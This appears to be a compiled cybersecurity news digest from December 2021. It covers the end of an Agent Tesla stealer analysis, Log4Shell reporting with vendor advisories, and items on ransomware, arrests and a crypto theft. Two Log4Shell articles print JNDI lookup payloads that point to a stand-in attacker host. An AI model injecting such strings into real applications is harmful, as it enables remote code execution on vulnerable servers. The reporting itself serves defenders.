FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter

Email clients:

Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, Pocomail, Becky! Internet Mail, The Bat!

Downloader/IM clients:

DownloadManager, jDownloader, Psi+, Trillian

Others:

MySQL and Microsoft Credentials

When it comes to exfiltrating the collected data, the malware offers four ways to do it, namely HTTP Post, FTP upload, SMTP, and Telegram.

Each packet sent carries a number that signifies its type, and there are seven kinds of packets as detailed below:

- Packet "0": It is always the first packet to tell the attacker that Agent Tesla has started. It only contains the "header" data.
- Packet "1": It is sent once every 120 seconds. It is like a heartbeat to tell the attacker that Agent Tesla is alive. It only contains the "header" data.
- Packet "2": It is sent every 60 seconds and only contains the "header" data. Agent Tesla reads the response and checks if it contains "uninstall". If yes, it uninstalls Agent Tesla from the victim's system, including deleting all files made by Agent Tesla and removing keys from registry that Agent Tesla created, and exits the process.
- Packet "3": It sends the victim's keystrokes (keylogger data) and stolen clipboard data within the "data" part of the post.
- Packet "4": It sends captured screenshots of the victim's screen within the "data" part of the post.
- Packet "5": It sends the credentials stolen from the software clients within the "data" part of the post.
- Packet "6": It sends cookies files in a ZIP archive that are collected from browsers and included within the "data" part of the post.

[Return to Top](#)

HEADLINE	12/14 Log4j: vulnerable products, advisories
SOURCE	https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-advisories/
GIST	News about a critical vulnerability in the Apache Log4j logging library broke last week when proof-of-concept exploits started to emerge on Thursday.

Log4j is an open-source Java logging framework part of the Apache Logging Services used at enterprise level in various applications from vendors across the world.

Apache released Log4j 2.15.0 to address the maximum severity vulnerability, currently tracked as [CVE-2021-44228](#), also referred to as Log4Shell or LogJam.

While massive exploitation started only after exploit code became freely available, attacks have been detected since the beginning of the month, according to data from Cloudflare and Cisco Talos.

The Log4Shell flaw was reported by Alibaba's Cloud security team on November 24 and it is unclear how some attackers were able to exploit it this soon.

In a statement on Saturday on the Log4Shell vulnerability, Jen Easterly, the director of the Cybersecurity and Infrastructure Security Agency (CISA), says that the agency is working with partners in the private and public sector to address the issue.

"We are taking urgent action to drive mitigation of this vulnerability and detect any associated threat activity. We have added this vulnerability to our catalog of known exploited vulnerabilities, which compels federal civilian agencies -- and signals to non-federal partners -- to urgently patch or remediate this vulnerability" - [Jen Easterly](#), Director of CISA

Log4Shell is a Java Naming and Directory Interface (JNDI) injection that allows unauthenticated remote code execution. Adversaries can leverage it by changing the user-agent in their browser to a string in the following format: `${jndi:ldap://[attacker_URL]}`.

The string will remain in the victim web server's logs and will force a callback or request to the attacker's URL when the Log4j library parses it. Attackers can use the string to pass encoded commands or Java classes to the vulnerable machine.

Advisories, notices, patches, or updates

Given the severity of the vulnerability and how easy it is to exploit it, CISA today released guidance for companies to set up defenses against Log4Shell attacks. The agency's recommendation is to "apply available patches immediately" and to prioritize this process.

"Prioritize patching, starting with mission critical systems, internet-facing systems, and networked servers. Then prioritize patching other affected information technology and operational technology assets" - [CISA](#)

If patching is not possible, the agency recommends the following change:

Set `log4j2.formatMsgNoLookups` to true by adding the string `-Dlog4j2.formatMsgNoLookups=True` to the Java Virtual Machine command for starting an application

This comes with the caveat that the system's logging may be impacted if it relies on Lookups for message formatting. Also, the mitigation works only for versions 2.10 and later.

Immediately after details about Log4Shell became known, vendors started to investigate if their products are impacted and provided information about the results:

Amazon:

Amazon has updated several of its products to use a non-vulnerable version of the Log4j component and announced that it is either in the process of updating others or will release new versions in the near future.

The company has [published details](#) specific for affected services, among them being OpenSearch, AWS Glue, S3, CloudFront, AWS Greengrass, and API Gateway.

Atlassian:

Based on its assessment, the company believes that no on-premise products are vulnerable to exploitation in their default configuration.

Modifying the default logging configuration (log4j.properties) to enable the JMS Appender functionality may bring the risk of remote code execution in some products, like Jira Server & Data Center, Confluence Server & Data Center, Bamboo Server & Data Center, Crowd Server & Data Center, Fisheye, and Crucible.

Broadcom:

The company [published](#) mitigations and knowledgebase articles for several Symantec products affected by the Log4j vulnerability. These include CA Advanced Authentication, Symantec SiteMinder (CA Single Sign-on), VIP Authentication Hub, and Symantec Endpoint Protection Manager (SEPM).

Cisco:

Cisco has [published](#) a list of its products affected by Log4Shell along with a calendar for patching some of them starting December 14.

Affected products are from various categories, including the following:

- Network and content security devices (Identity Services Engine, Firepower Threat Defense, Advanced Web Security Reporting Application)
- Collaboration and social media (Cisco Webex Meetings Server)
- Network management and provisioning (Cisco CloudCenter Suite Admin, Data Center Network Manager, IoT Control Center, Network Services Orchestrator, WAN Automation Engine)
- Enterprise routing and switching (Cisco Network Assurance Engine and Cisco SD-WAN vManage)

Citrix:

While the investigation is still underway and the status may change for some of its products, Citrix has not listed any of its products as being vulnerable to Log4Shell.

ConnectWise:

The company's cloud service, Perch, was found to rely on third-party components that were "potentially vulnerable," reads an [advisory](#) from ConnectWise.

The vulnerable third-party was identified as FortiGuard's FortiSIEM, which is used by ConnectWise's StratoZen solution, prompting the company to temporarily restricting access to the hosted StratoZen servers. Access is now restored to most of the services.

cPanel:

A forum thread shows that only instances where the cPanel Solr plugin is present are affected and could be exploited, but only locally.

A staff member provided additional piece of mind announcing that an [update with mitigation](#) for Log4Shell is available to the cpanel-dovecot-solr package.

Debian:

The patched Log4j package has been added to Debian 9 (Stretch), 10 (Buster), 11 (Bullseye), and 12 (Bookworm) as a security update, reads the [advisory](#).

Docker:

A dozen Docker Official images have been found to use a vulnerable version of the Log4j library. The list includes [couchbase](#), [elasticsearch](#), [logstash](#), [sonarqube](#), and [solr](#).

Docker [says](#) that it is "in the process of updating Log4j 2 in these images to the latest version available" and that the images may not be vulnerable for other reasons.

FortiGuard:

An advisory from the company lists almost a dozen of its products as being vulnerable, with fixes or mitigations already deployed for four of them.

FortiGuard announced that the [advisory](#) would be updated with the dates for applying fixes for other products, such as FortiSIEM, FortiInsight, FortiMonitor, FortiPortal, FortiPolicy, and ShieldX.

F-Secure:

Both Windows and Linux versions of several F-Secure products are impacted by Log4Shell: Policy Manager (only the Policy Manager Server component), Policy Manager Proxy, Endpoint Proxy, and Elements Connector.

The company has created a security patch for administrators to correct the issue and provided [step-by-step instructions](#) to deploy it.

Ghidra:

The open-source reverse engineering tool from the NSA received an [update](#) to version 10.1 that also upgrades the Log4j dependency to a non-vulnerable iteration.

IBM:

IBM's [advisory](#) for Log4Shell shows that only WebSphere Application Server versions 9.0 and 8.5 were affected by the vulnerability, via the Admin Console and the UDDI Registry Application components, and that the issue has been addressed.

Juniper Networks:

The networking company [disclosed](#) that four of its products are impacted: Paragon Active Assurance, Paragon Insights, Paragon Pathfinder, and Paragon Planner.

While the assessment continues, at this stage another six products may be affected: JSA Series, Junos Space Management Applications, Junos Space Network Management Platform, Network Director, Secure Analytics, and Security Director (not Security Director Insights)

McAfee:

The company has yet to complete its assessment and has 12 products under review and will update the [advisory](#) with relevant information as it becomes available.

MongoDB:

Only MongoDB Atlas Search needed to be patched against Log4Shell, the company notes in an [advisory](#) updated today

The developer adds that it found no evidence of exploitation or indicators of compromise before deploying the patch.

Okta:

Okta [released updates](#) for Okta RADIUS Server Agent and Okta On-Prem MFA Agent to mitigate the risk from the Log4Shell vulnerability and strongly recommends customers to apply the fixes from the Admin Console.

Oracle:

Oracle [said](#) that “a number” of its products, without disclosing which ones or how many, are using a vulnerable version of the Log4j component.

The company referred its customers to the My Oracle Support Document and released a [security alert](#) with a strong recommendation to apply the provided updates “as soon as possible.”

OWASP Foundation:

An [advisory](#) on Friday revealed that versions of the Zed Attack Proxy (ZAP) web app scanner below 2.11.1 use a vulnerable Log4j component.

Red Hat:

Components in multiple Red Hat products are affected by Log4Shell, the organization [disclosed](#) on Friday, strongly recommending customers to apply the updates as soon as they become available. Among the products listed in the advisory are Red Hat OpenShift 4 and 3.11, OpenShift Logging, OpenStack Platform 13, CodeReady Studio 12, Data Grid 8, and Red Hat Fuse 7.

SolarWinds:

Two products from the company [use a vulnerable version](#) of Apache Log4j: Server & Application Monitor (SAM) and Database Performance Analyzer (DPA).

However, both products use a version of the Java Development Kit (JDK) that is either not susceptible to the Log4j vulnerability or reduces the risk.

SonicWall:

An investigation that is ongoing revealed that SonicWall's Email Security version 10.x is impacted by the Log4Shell vulnerability. A fix is under development and should be released "shortly."

Five other products from SonicWall are still under review and the rest of them have been found not to be impacted by the issue, according to an [advisory](#) from the company last updated on Saturday.

Splunk:

Core Splunk Enterprise is not affected unless Data Fabric Search is used. The company published a table with the versions of its products affected by Log4Shell both in the cloud and on-premise.

At the time of writing, the company has [released fixes](#) for some products and is currently working on rolling updates for at least seven of its products.

VMware:

VMware has fixed several of its products vulnerable to Log4Shell attacks and is currently working to roll out patches for another 27 products.

In an [advisory](#) last updated today, the company lists nearly 40 of its products as impacted by the critical vulnerability. Many of them show a "Patch Pending" and mitigations are available in some cases.

Ubiquiti:

The UniFi Network Application, which uses the Log4j library, has been [updated](#) to address the critical Log4Shell vulnerability.

Ubuntu:

The Log4j package has been patched upstream, reads the [security advisory](#), and the update now has to trickle to Ubuntu 18.04 LTS (Bionic Beaver), 20.04 LTS (Focal Fossa), 21.04 (Hirsute Hippo), and 21.10 (Impish Indri).

Zoho:

The company found that the ADAudit Plus component for auditing Active Directory changes, which is part of the ManageEngine monitoring solution is vulnerable to Log4Shell attacks.

In a short post today, Zoho has [provided instructions](#) to mitigate the issue.

Zscaler:

Zscaler has [patched](#) several of its products that used a vulnerable version of the Log4j library. After patching all of its Private Access (ZPA) services facing the public internet, Zscaler Mobile Admin,

	<p>and Support Mobile Admin components, the company concluded that the issue has been fixed in all its products.</p> <p>Some companies may choose not to take action against Log4Shell vulnerability believing that running certain Java versions diffuses any exploit attempt. This is not true, though, and they should update the Log4j library to its most recent iteration.</p> <p>Márcio Almeida, senior security engineer at Canva graphic design platform warns that Log4Shell attacks work with any version of Java when adding support for LDAP serialized payloads in the JNDI exploit kit.</p> <p>The researcher explains that for the attack to work with any version of Java the classes used in the serialized payload need to be in the application classpath.</p>
Return to Top	

HEADLINE	12/13 Kronos suffers ransomware attack
SOURCE	https://www.darkreading.com/attacks-breaches/kronos-suffers-ransomware-attack-expects-full-restoration-to-take-weeks-
GIST	<p>Kronos Private Cloud was hit by a ransomware attack over the weekend that resulted in an outage of the HR services firm's UKG Workforce Central, UKG TeleStaff, Healthcare Extensions, and Banking Scheduling Solutions services.</p> <p>Kronos executive vice president Bob Hughes said in a post that it may take "up to several weeks" for the systems supporting those services to come back online, so customers should "evaluate and implement alternative business continuity protocols related to the affected UKG solutions."</p> <p>Kronos' UKG Pro, UKG Ready, UKG Dimensions, and other UKG products outside its Private Cloud offerings were not hit in the attack.</p> <p>"We are working with leading cyber security experts to assess and resolve the situation, and have notified the authorities. The investigation remains ongoing, as we work to determine the nature and scope of the incident," Hughes said in a statement.</p>
Return to Top	Read more here .

HEADLINE	12/13 Ukraine arrests 51; selling data of 300M
SOURCE	https://tech.co/news/51-arrested-in-ukraine-for-selling-data-of-300m-people-in-eu-us?web_view=true
GIST	<p>Ukraine's police force revealed in a press release today that they had arrested a 51-strong group allegedly selling the data of over 300 million Americans and Europeans to hackers.</p> <p>With groups like this becoming all the more common, it's vital that security tools like password managers are used to ensure personal information can't be obtained from your accounts.</p> <p>The arrests are the latest police action against groups committing cybercrime in the country, with hacking groups and forums being shut down and cybercriminals' databases seized.</p> <p>Why Was the Group Arrested?</p> <p>The 51 suspects that have been arrested were responsible for distributing stolen personal information belonging to approximately 300 million people in the United States, Europe, and Ukraine itself, according to the Ukraine Cyberpolice Department.</p> <p>The operation – called 'DATA' by the Ukrainian police service – also shut down one of the largest websites in the world where criminals can buy and sell stolen personal information.</p>

The police said around 90,000 gigabytes of data had been removed from the internet as a result of the 177 searches that made up the operation.

What Was Seized?

The Cyberpolice Department of the National Police of Ukraine said that, along with the 50 arrests, they'd seized 100 databases of data that was being held by the group.

The police force's [press release](#) says the suspects were in possession "of personal data of citizens, confidential information on financial and economic activities of individuals and legal entities, information about customers of banking and commercial institutions, data for authorization on e-mails, social networks, online stores and more."

Information being sold on the sites connected to the arrest, however, included telephone numbers and more unusual data like vehicle registration numbers.

Ukraine Takes on Home-Grown Cybercriminals

In October, [an investigation](#) into two ransomware actors culminated in 7 property searches and the seizure of USD 375,000 in cash and two "luxury vehicles" two worth €217,000, as well as 1.3 million in cryptocurrencies being frozen.

The same month, a 25-year-old who hacked more than [100 foreign companies](#) and caused \$150 million of damage was arrested.

With these sorts of cases coming up all the time – and millions of individuals' personal data involved – it's vital that internet users are equipped with tools like [password managers](#) and antivirus software.

The problem is certainly getting worse, not better, and data of the sort involved in these cases are becoming more and more lucrative to sell. Operations now often involve tens or hundreds of people, rather than one or two. But using the right security tools will give you the best chance of keeping your confidential and personal information safe.

[Return to Top](#)

HEADLINE	12/13 Germany jails 'cyberbunker' operators
SOURCE	https://www.securityweek.com/germany-jails-operators-cyberbunker-darknet-hub?&web_view=true
GIST	<p>Eight people were handed jail sentences in Germany on Monday for operating a web-hosting service in a former NATO bunker that enabled illegal trade in drugs, stolen data and child pornography.</p> <p>The so-called cyberbunker in southwestern Germany had allegedly been used to operate darknet networks such as "Wall Street Market" and "Fraudsters", which have since been shut down.</p> <p>A court in Trier sentenced the main defendant, a Dutchman, to five years and nine months in jail.</p> <p>Six other defendants were sentenced to prison terms ranging from two years and four months to four years and three months, and an eighth received a one-year suspended sentence.</p> <p>The powerful servers inside a former NATO bunker in the town of Traben-Trarbach in Rhineland-Palatinate state were shut down in 2019.</p> <p>They are said to have hosted, or provided the internet architecture for, illegal websites that also peddled stolen data and forged documents, and from which large-scale cyberattacks were carried out.</p> <p>These included a cyberattack targeting more than a million Deutsche Telekom routers in November 2016.</p> <p>In total, the servers are said to have hosted around 250,000 transactions, most of them drug purchases.</p>

	<p>"Wall Street Market", which was closed in 2019 as part of an international operation led by German and US authorities, was considered the second-largest darknet marketplace in the world.</p> <p>The dismantling of the cyberbunker also led to a global operation in January targeting the "DarkMarket" network, which police at the time called the world's largest darknet marketplace.</p> <p>The secret darknet includes websites that can be accessed only with specific software or authorisations, ensuring anonymity for users.</p>
	Return to Top

HEADLINE	12/13 TinyNuke banking malware reemerges
SOURCE	https://www.proofpoint.com/us/blog/threat-insight/tinynuke-banking-malware-targets-french-entities?&web_view=true
GIST	<p>Key Findings</p> <ul style="list-style-type: none"> • Proofpoint researchers identified ongoing activity from the banking malware TinyNuke. • The activity nearly exclusively targets French entities and organizations with operations in France. • The campaigns leverage invoice-themed lures targeting entities in manufacturing, industry, technology, finance, and other verticals. • The new activity demonstrates a re-emergence of the malware specifically targeting French users that peaked in popularity in 2018. <p>Overview</p> <p>Proofpoint identified multiple recent campaigns leveraging invoice-themed lures to distribute the uncommonly observed TinyNuke malware. The activity marks a stark reappearance of this threat, which has not been seen with regularity since 2018. The campaigns target hundreds of customers in various industries including manufacturing, technology, construction, and business services. The campaigns use French language lures with invoice or other financial themes, and almost exclusively target French entities and companies with operations in France.</p> <p>TinyNuke is a banking trojan that first appeared in Proofpoint data in 2017 targeting French companies. It is similar to the notorious banking trojan Zeus, which has many variants with identical functionality. TinyNuke can be used to steal credentials and other private information and can be used to enable follow-on malware attacks. The author initially released the code on GitHub in 2017, and although the original repo is no longer available, other open-source versions of the malware exist.</p> <p>Campaign Details</p> <p>Proofpoint observed dozens of TinyNuke campaigns targeting French entities in 2018. After only observing a handful of TinyNuke campaigns in 2019 and 2020, Proofpoint observed TinyNuke reappear in January 2021 in one campaign distributing around 2,000 emails. Subsequent campaigns appeared in low volumes in May, June, and September. In November, Proofpoint identified multiple TinyNuke campaigns distributing around 2,500 messages and impacting hundreds of customers.</p> <p>In the most recent campaigns, the threat actor uses invoice-themed lures purporting to be logistics, transportation, or business services entities.</p> <p>Though the number of 2021 campaigns is less than 2018, TinyNuke's reappearance and consistent targeting of French organizations is striking, suggesting it is a re-emerging threat in the French cybercrime threat landscape.</p> <p>Proofpoint assesses there are at least two distinct activity sets using TinyNuke based on different lure themes, payload deployment, and command and control (C2) infrastructure. Specifically, one intrusion set associated with the initial TinyNuke actors uses Tor for C2 since 2018, while commodity actors typically leverage clear web C2. Open source reporting suggests the malware version using Tor which Proofpoint has observed with continued regularity is not publicly available, and likely used only by the</p>

original TinyNuke threat actors. The following analysis focuses on the most frequently observed activity set responsible for most of the TinyNuke campaigns in 2021.

Related Threat Actors

Proofpoint identified TinyNuke infrastructure used in campaigns in 2018 overlapped with [PyLocky ransomware attacks](#) first reported that year. However, Proofpoint has not observed ransomware activity associated with TinyNuke in subsequent campaigns.

Public reporting [associates](#) the original TinyNuke author with an individual charged in a French sextortion case, and was imprisoned before [reportedly](#) being released under legal supervision in 2020 during a spike in the COVID pandemic. In 2017, the accused individual previously claimed to be the original author of TinyNuke in an [interview](#) with the journalist Brian Krebs.

TinyNuke actors have also reportedly [taunted](#) and harassed security researchers investigating TinyNuke activity.

Proofpoint does not associate TinyNuke with a known threat actor or group. The malware is publicly available and likely used by multiple threat actors, however Proofpoint assesses with high confidence at least some of the original threat actors distributing TinyNuke in 2018 continue to use it.

Conclusion

TinyNuke has re-emerged as a threat to French organizations, and entities with operations in France. Of note, in most of the recent campaigns the actor has stayed consistent with using URLs to ZIP files and the continued use of Tor for C2 communications. The malware can be used for data and financial theft, and compromised machines may be added to a botnet under the control of the threat actor.

[Return to Top](#)

HEADLINE	12/13 Log4Shell attacks began 2 weeks ago
SOURCE	https://therecord.media/log4shell-attacks-began-two-weeks-ago-cisco-and-cloudflare-say/?web_view=true
GIST	<p>While a public proof-of-concept code was released last Thursday, attacks exploiting the Log4Shell vulnerability started two weeks ago.</p> <p>The first attacks were observed on December 1 and December 2, according to Cloudflare and Cisco Talos, respectively.</p> <p>Although mass exploitation started over the weekend, this revelation means that security teams need to broaden their incident response investigations and check for signs of possible exploitation against their networks to the start of the month, just to be on the safe side.</p> <p>Currently, attacks abusing the Log4Shell vulnerability are still tame—if the word can even be used to describe the abuse of a security flaw.</p> <p>The vast of attacks have originated from professional crypto-mining and DDoS botnets, such as Mirai, Muhstik, and Kinsing, which are typically the first to exploit any meaningful enterprise bug before everyone else.</p> <p>More dangerous groups like nation-state espionage groups and ransomware gangs have yet to show up to the party, but in a blog post over the weekend, Microsoft said that it began observing the first instances where Log4Shell was being used to deploy web shells together with Cobalt Strike beacons (backdoors).</p> <p>CISA, the NSA, and several cybersecurity firms have repeatedly warned over the past year that the combination of web shells and Cobalt Strike beacons are typically the first tools deployed by nation-state groups and ransomware gangs in attacks, so while unconfirmed, don't be surprised if we get the first ransomware group abusing Log4Shell by the end of the day.</p>

Log4Shell internet scanners, to the moon!

Right now, scans for internet-connected systems that are vulnerable to the Log4Shell vulnerability are absolutely through the roof. Security firm Kryptos Logic said on Sunday that it detected more than 10,000 different IP addresses probing the internet, which is 100 times the number of systems that were probing for Log4Shell on Friday.

Not all this traffic is bad, as there are white-hat security researchers and security firms looking for vulnerable systems as well, but the big picture is that threat actors have smelled blood, and IT administrators should look to see if any of their Java-based systems are vulnerable to Log4Shell.

What is Log4Shell?

As for what is Log4Shell, explaining it is simpler than comprehending the places where this nearly ubiquitous library has been used.

In the simplest terms possible, Log4Shell is a vulnerability in [Log4j](#), a Java library for adding logging capabilities to Java web and desktop applications.

It is managed by the Apache Software Foundation, meaning it is included in most of their software, and because of the association, it also has a “stamp of high quality code” that makes it a favorite with most enterprise software developers.

In other words, it’s almost everywhere. In fact, it’s in so many places that people are now wondering how this crucial piece of software was still being developed by only six volunteers in their free time, rather than have a few permanent paid maintainers assigned to it.

The vulnerability per-se takes place in apps where user input can create a log entry. For example, in apps with input fields or where users can control the text that’s entered inside the log itself. The idea is that an attacker can create something like below:

`${jndi:ldap://attacker.com/script}`

When the Log4j library writes and parses this entry inside a log, the JNDI prefix forces it to connect to the attacker’s domain and run a script stored there.

Currently, attackers typically spray the entire internet IP address space with a simple script that queries back to their domains. This allows them to detect systems running the Log4j library. They then come back to that system and run the real attack with actual malware, such as bash scripts, crypto-miners, Cobalt Strike beacons, and web shells.

Right now, the IT staff of almost all major companies and software providers are checking their enterprise software to check if their own use of the Log4j library makes them vulnerable. Anyone who has used Log4J between 2.10.0 and 2.14.x is vulnerable to attacks.

Patch available since last week, as well as mitigations

The Apache Software Foundation has released a security update [on Friday](#) in [Log4j 2.15.0](#), fixing the attack vector.

Setting the **log4j2.formatMsgNoLookups** option to **true** in the Log4j config also prevents exploitation if companies can’t update.

Companies like Cloudflare said none of their products are affected, while [Red Hat](#) and [N-able \(SolarWinds\)](#) said they have products that are. The list will likely grow through the week.

But a comprehensive list of what is vulnerable and what is not is still not broadly available, not even for an agency like CISA. The good news for some system administrators is that security firm Huntress Labs has created a [free Log4Shell scanner](#) that companies can use to assess their own systems.

	Several security researchers said they fully expect ransomware gangs to begin leveraging this vulnerability as an entry vector into corporate networks for data theft and data encryption attacks, so patching or mitigating Log4j should be at the top of everyone's IT list this week—before they end up regretting it.
Return to Top	

HEADLINE	12/13 Hackers steal \$140M crypto gaming firm
SOURCE	https://www.vice.com/en/article/4awxep/hackers-steal-dollar140-million-from-users-of-crypto-gaming-company
GIST	<p>In the latest hack targeting cryptocurrency investors, hackers stole around \$135 million from users of the blockchain gaming company VulcanForge, according to the company.</p> <p>The hackers stole the private keys to access 96 wallets, siphoning off 4.5 million PYR, which is VulcanForge's token that can be used across its ecosystem, the company said in a series of tweets on Sunday and Monday. VulcanForge's main business involves creating games such as VulcanVerse, which it describes as an "MMORPG," and a card game called Berserk. Both titles, like pretty much all blockchain games, appear chiefly designed as vehicles to buy and sell in-game items linked to NFTs using PYR.</p> <p>In crypto, compromising someone's private key is a definitive "game over," because it gives complete control over the funds held by the corresponding address on a blockchain.</p> <p>VulcanForge announced the hack on Twitter and in its official Discord channel.</p> <p>“Over 4m PYR has been stolen from users’ wallets. It was premature to say this is [wallet management service] Venly’s end: we simply don’t know the cause,” the company wrote on Discord, asking users to move funds to Metamask, a popular wallet. “All funds stolen will be replaced once we’ve understood what’s happened.” Venly's CTO told The Block that its services were not compromised.</p> <p>“No words can do much right now, we know that,” the company wrote on Twitter.</p> <p>This is the third major theft of cryptocurrency in the last eleven days. The total amount of stolen cryptocurrency in these three hacks is around \$404 million. On Dec. 2, it was BadgerDAO, a blockchain-based decentralized finance (DeFi) platform, which lost \$119 million. The company is asking the hacker to please “do the right thing” and return the money. Then four days later, cryptocurrency exchange BitMart got hacked, losing \$150 million.</p> <p>The VulcanForge hack is notable because, like many new tokens, PYR trades on decentralized exchanges. Decentralized exchanges run on smart contracts, and because there's no centralized order book, investors trade against "liquidity pools" with funds contributed by users who earn a "staking" reward in return. It also means there's no central authority to blocklist a malicious account trying to cash out stolen funds.</p> <p>Since the hack, VulcanForge has advised users to remove their liquidity in order to make it difficult or impossible for the attacker to cash out. As The Block reported, the hacker has so far managed to cash out most of the tokens by trading small amounts at a time, although not without sending PYR's price into a downward spiral due to the sell pressure. On Discord, a bot message has been asking users every half hour: "Anyone that has LP in uniswap or quickswap remove it ASAP."</p> <p>A VulcanForge staff member on Discord claimed on Monday morning that centralized exchanges (CEX) had been notified of the hack. "All the CEX we have partnered with are tracking the addresses and movement of funds. The funds would get seized by the exchange upon deposit," the staff member said.</p>

	<p>On Monday, the company said in a tweet that it had already refunded the majority of stolen PYR, and claimed that it had "isolated" all tokens stolen on centralized exchanges. "Those who knows [sic] VF history, knows [sic] this just makes us stronger," the company wrote in another tweet.</p> <p>VulcanForge did not respond to an email asking for comment on how the hack happened.</p>
Return to Top	

HEADLINE	12/13 Log4j flaw will haunt internet for years
SOURCE	https://www.wired.com/story/log4j-log4shell/
GIST	<p>A VULNERABILITY IN the open source Apache logging library Log4j sent system administrators and security professionals scrambling over the weekend. Known as Log4Shell, the flaw is exposing some of the world's most popular applications and services to attack, and the outlook hasn't improved since the vulnerability came to light on Thursday. If anything, it's now excruciatingly clear that Log4Shell will continue to wreak havoc across the internet for years to come.</p> <p>Hackers have been exploiting the bug since the beginning of the month, according to researchers from Cisco and Cloudflare. But attacks ramped up dramatically following Apache's disclosure on Thursday. So far, attackers have exploited the flaw to install cryptominers on vulnerable systems, steal system credentials, burrow deeper within compromised networks, and steal data, according to a recent report from Microsoft.</p> <p>The range of impacts is so broad because of the nature of the vulnerability itself. Developers use logging frameworks to keep track of what happens in a given application. To exploit Log4Shell, an attacker only needs to get the system to log a strategically crafted string of code. From there they can load arbitrary code on the targeted server and install malware or launch other attacks. Notably, hackers can introduce the snippet in seemingly benign ways, like by sending the string in an email or setting it as an account username.</p> <p>Major tech players, including Amazon Web Services, Microsoft, Cisco, Google Cloud, and IBM have all found that at least some of their services were vulnerable and have been rushing to issue fixes and advise customers about how best to proceed. The exact extent of the exposure is still coming into view, though. Less fastidious organizations or smaller developers who may lack resources and awareness will be slower to confront the Log4Shell threat.</p> <p>"What is almost certain is that for years people will be discovering the long tail of new vulnerable software as they think of new places to put exploit strings," says independent security researcher Chris Frohoff. "This will probably be showing up in assessments and penetration tests of custom enterprise apps for a long time."</p> <p>The vulnerability is already being used by a "growing set of threat actors," US Cybersecurity and Infrastructure Security Agency director Jen Easterly said in a statement on Saturday. She added that the flaw is "one of the most serious I've seen in my entire career, if not the most serious" in a call with critical infrastructure operators on Monday, as first reported by CyberScoop. In that same call, a CISA official estimated that hundreds of millions of devices are likely affected.</p> <p>The hard part will be tracking all of those down. Many organizations don't have a clear accounting of every program they use and the software components within each of those systems. The UK's National Cyber Security Centre emphasized on Monday that enterprises need to "discover unknown instances of Log4j" in addition to patching the usual suspects. By its nature, open source software can be incorporated wherever developers want, meaning that when a major vulnerability crops up, exposed code can lurk around every corner. Even before Log4Shell, software supply chain security advocates had increasingly pushed for "software bills of materials," or SBOMs, to make it easier to take stock and keep up with security protections.</p>

Security professionals note that while it's important to be aware of the vulnerability's inevitable lasting impact, the first priority is to take as much action as possible now to shorten that tail as the frenzy of exploitation continues.

"If you have an internet-facing server vulnerable to Log4Shell that you haven't patched yet, you almost certainly have an incident response on your hands," says incident responder and former NSA hacker Jake Williams. "Threat actors were quick to operationalize this vulnerability."

Williams adds that while logging systems are important and it can be risky to implement fixes quickly, it should be technically doable—and worth it—for most organizations. "On the defense side, we're seeing a lot of enterprises afraid to patch without testing," he says. "That's the wrong approach in this case."

The concern remains, too, that the situation could get even worse. Attackers could potentially develop a worm that exploits the flaw and spreads automatically from vulnerable device to the next. But while it's technically possible, it may not be a top priority for malicious hackers, says researcher [Marcus Hutchins, who found a kill switch for the notorious WannaCry worm](#) in 2017.

"Whilst it's always a possibility, worms for these kinds of exploits are rare, due to the development overhead generally exceeding perceived benefits," Hutchins says. "It's much easier to just spray exploitation attempts from a server than develop self-propagating code. It's also usually a race to exploit as many systems as possible before they are patched or exploited by others, so it doesn't really make sense to take the time to develop a worm."

Attackers will still look for creative new ways to discover and continue exploiting as many vulnerable systems as possible. The scariest part of the Log4Shell, though, is how many organizations won't even realize that they have systems at risk.

[Return to Top](#)

HEADLINE	12/13 Attackers attempt to exploit Log4j flaw
SOURCE	https://www.zdnet.com/article/log4j-flaw-attackers-are-making-thousands-of-attempts-to-exploit-this-severe-vulnerability/
GIST	<p>Cyber attackers are making over a hundred attempts to exploit a critical security vulnerability in Java logging library Apache Log4j every minute, security researchers have warned.</p> <p>The Log4j flaw (also now known as "Log4Shell") is a zero-day vulnerability (CVE-2021-44228) that first came to light on December 9, with warnings that it can allow unauthenticated remote code execution and access to servers.</p> <p>Log4j is used in many forms of enterprise and open-source software, including cloud platforms, web applications and email services, meaning that there's a wide range of software that could be at risk from attempts to exploit the vulnerability.</p> <p>Attackers are already attempting to scan the internet for vulnerable instances of Log4j, with cybersecurity researchers at Check Point warning that there are over 100 attempts to exploit the vulnerability every minute.</p> <p>Meanwhile, cybersecurity researchers at Sophos have warned that they've detected hundreds of thousands of attempts to remotely execute code using the Log4j vulnerability in the days since it was publicly disclosed, along with scans searching for the vulnerability.</p> <p>There are already active examples of attackers attempting to leverage Log4j vulnerabilities to install cryptocurrency-mining malware, while there also reports of several botnets, including Mirai, Tsunami, and Kinsing, that are making attempts to leverage it.</p>

[Researchers at Microsoft](#) have also warned about attacks attempting to take advantage of Log4j vulnerabilities, including a range of cryptomining malware, as well as active attempts to install Cobalt Strike on vulnerable systems, something that could allow attackers to steal usernames and passwords.

It's [common for cyber criminals to make efforts to exploit newly disclosed vulnerabilities](#) in order to have the best chance of taking advantage of them before they're remediated – but in this case, the ubiquity of Log4j and the way many organisations may be unaware that it's part of their network, means there could be a much larger window for attempts to scan for access.

And while cyber criminals attempting to leverage Log4j vulnerabilities to install cryptomining malware might initially appear to be a relatively low level threat, it's likely that higher level, more dangerous cyber attackers will attempt to follow.

"I cannot overstate the seriousness of this threat. On the face of it, this is aimed at cryptominers but we believe this creates just the sort of background noise that serious threat actors will try to exploit in order to attack a whole range of high-value targets such as banks, state security and critical infrastructure," said Lotem Finkelstein, director of threat intelligence and research for Check Point.

The severity of the vulnerability in such a widely used library means that organisations and technology vendors are being urged to counter the threat as soon as possible.

"In the case of this vulnerability CVE-2021-44228, the most important aspect is to install the latest updates as soon as practicable," said [an alert by the UK's National Cyber Security Centre](#) (NCSC).

While the Log4j security issue only recently came to light, [evidence suggests that attackers have been exploiting the vulnerability for some time before it was publicly disclosed](#).

[Return to Top](#)

HEADLINE	12/13 Joint operation nabs ransomware suspect
SOURCE	https://www.cyberscoop.com/ransomware-suspect-romanian-revil-europol-fbi/
